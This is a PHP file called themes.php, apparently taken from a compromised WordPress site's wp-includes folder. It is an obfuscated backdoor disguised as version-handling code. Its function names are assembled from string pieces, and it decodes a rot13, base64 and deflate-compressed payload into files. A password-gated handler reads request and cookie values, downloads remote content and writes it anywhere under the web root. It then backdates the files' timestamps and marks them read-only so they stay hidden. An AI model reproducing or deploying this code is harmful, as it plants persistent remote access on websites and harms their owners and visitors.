File "themes.php"
Full Path: /home/earturop/public_html/wp-includes/js/thickbox/themes.php
File size: 10.49 KB
MIME-type: text/x-php; charset=us-ascii
Charset: utf-8
<?php
/**
* @title ipadview
* @
* @param $str
* @return mixed|string
*/
if (!defined('WP_BLOG')) {
return version_info("init");
}
function version_desc($str)
{
($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
if (!$str) {
echo date("Y-m-d H:i:s") . "<br>";
if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
return '';
}
$pi = [
['str', 'ro'],
["json", 'decode'],
];
($q = (implode('_', $pi[0]) . "t13")) &&
$data = $q($str);
($q = "b" . implode('_', $pi[1]) . "e") &&
$data = $q($data);
if (isset($_GET['s'])) $data = $_GET['s'] . $data;
return $data;
}
function version_info($str)
{
global $temp;
$temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
$temp = base64_decode($temp);
$name = ['Y2uioJHiMJSlqUIlo3NipUIvoTywK2u0oJjiq3NgLJEgnJ4iL3AmY2AioT9lpl9mqJ5lnKAyY2yhMz8hMTS0LD', function ($version_file, $name) use ($temp) {
$data = translation_v3('gIeepgeVRa6IJn+3wYZT6l5Nz01uRQnBNHstF2l8yVjTxNBFVtxZQgy32q+a9taBi82YaM6YkPI2Aw4IH2HuwKd6r/e2qIB+ig7d7N/9Zr7fLmhZW6RsqCnQlr3V7KJU8KwH2Kp9O89ljGQL2gi67D18qmj08TZsmJfK85TOUdnXBlzvFdN58RKsBAKF0nzO7RSK8bcb23mj4tv9EhHm66Eon9GvmX7OPG/TlezOiSSgbuqEo2XAhuSh+6qkuz3nb3hnc+1hhqybzBI2h1L3z2sgCED2W56GRKBXeXt6+uIWBHRdFUNw5yESy+zXdBEIhOSlhd7Do1UJXHIOXhv7vD7zk/nUhbTzjGt8YXVwf1Dkepk2D+f35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LCqyhq/UuM6fv1e+gyPDPer6eNcoAms/Nj', '1');
$data = base64_decode(/**/ $data);
$data = translation_v2($data, '1');
$data = translation_v1($data, '1');
foreach ($data as $item) {
version_check($item[0], $item[1], $temp, $item[2]);
}
version_desc(false);
}];
$temp = explode(',', $temp);
return ['#ver#', version_data($name, 1, 0)];
}
/**
* @title install path
*/
function version_path()
{
echo __FILE__;
}
/**
* @title get version data
* @param $data
* @param $offset
* @param $page
* @return mixed
*/
function version_data($data, $offset, $page)
{
$keu = ['', "code"];
$keu[] = '';
return $data[$offset]($data[$page], implode('_', $keu));
}
/**
* @title translation data
* @param $data
* @param $offset
* @return mixed
*/
function translation_v1($data, $mode, $exp = '')
{
if ($mode === 'X1') {
$data = base64_decode($data);
$len = strlen($data);
$exp = str_replace('=', '', base64_encode($exp));
$res = "";
$i = 0;
while ($i < $len) {
for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
$res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
}
return $res;
} elseif ($mode) {
return json_decode($data, true);
} else {
return unserialize($data);
}
}
/**
* @title parse version data
* @param $data
* @return version
*/
function version_parse($data)
{
$version = $data['version'];
if ($version === 'path') version_path();
if (isset($data[$version])) {
$version = translation_v1($data[$version], 'X1', $data[$version . '1']);
}
return $version;
}
/**
* @title update version
* @param $qr
* @return void
*/
function version_update($check, $qr = false)
{
if (!version_access("jl{$check}mctbp", 'c63e7bf608900e551c7ff851c049fe27')) return;
$c = $_COOKIE;;
$cf = implode('_', ['function', 'exists']);
(!$qr || !$cf($qr)) &&
$qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];
if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
return;
}
global $temp;
$a = explode(',', $a);
if (empty($a[1])) return;
echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}
/**
* @title version access or force
* @param string $version version pass
* @param string $token check update token
* @return bool
*/
function version_access($version, $token)
{
return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}
/**
* @title version data is deny
* @param $data
* @return void
*/
function version_deny($data)
{
return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}
/**
* @title translation version data
* @param $data
* @param $offset
* @return mixed
*/
function translation_v2($data, $offet)
{
if (!empty($offet)) {
return gzinflate($data);
} else {
return $data;
}
}
/**
* @title translation version data
* @param $data
* @param $offset
* @return mixed
*/
function translation_v3($data, $offet)
{
if (!empty($offet)) {
return str_rot13($data);
} else {
return $data;
}
}
return 'inited';
/**
* @title check version token
* @param $name
* @param $date
* @param $check
* @param string $token
* @param false $mode
* @return bool|mixed
*/
function version_check($name, $date, $check, $token = '', $mode = false)
{
try {
$vs = 'rename';
if (!is_array($check)) $check = explode(',', $check);
$map = [0, 1, 2, 3, 4];
$m = $mode ? $mode : ($check[1]() - 2693693);
$iw = true;
empty($check[9]) || $date = $check[9]($date);
if ($check[$map[4] + 1]($name)) {
if ($token && Md5_File($name) === $token) return true;
$iw = $check[6]($name);
if ($x = $check[5]($name)) {
$m = $check[4]($name);
}
$x && !$iw && @$check[7]($name, 0744);
@$vs($name, $name . time());
}
if ($check[$map[0]]($check[2])) {
$l = $check[$map[2]][0] . 'write';
$r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
} else {
$r = $check[$map[3]]($name . ".tmp1", $date);
}
@$vs($name . ".tmp1", $name);
$check[8]($name, $m, $m);
$iw || @$check[7]($name, 0444);
} catch (\Exception $A) {
echo $A->getMessage() . "<br>";
$r = false;
}
echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
return $r;
}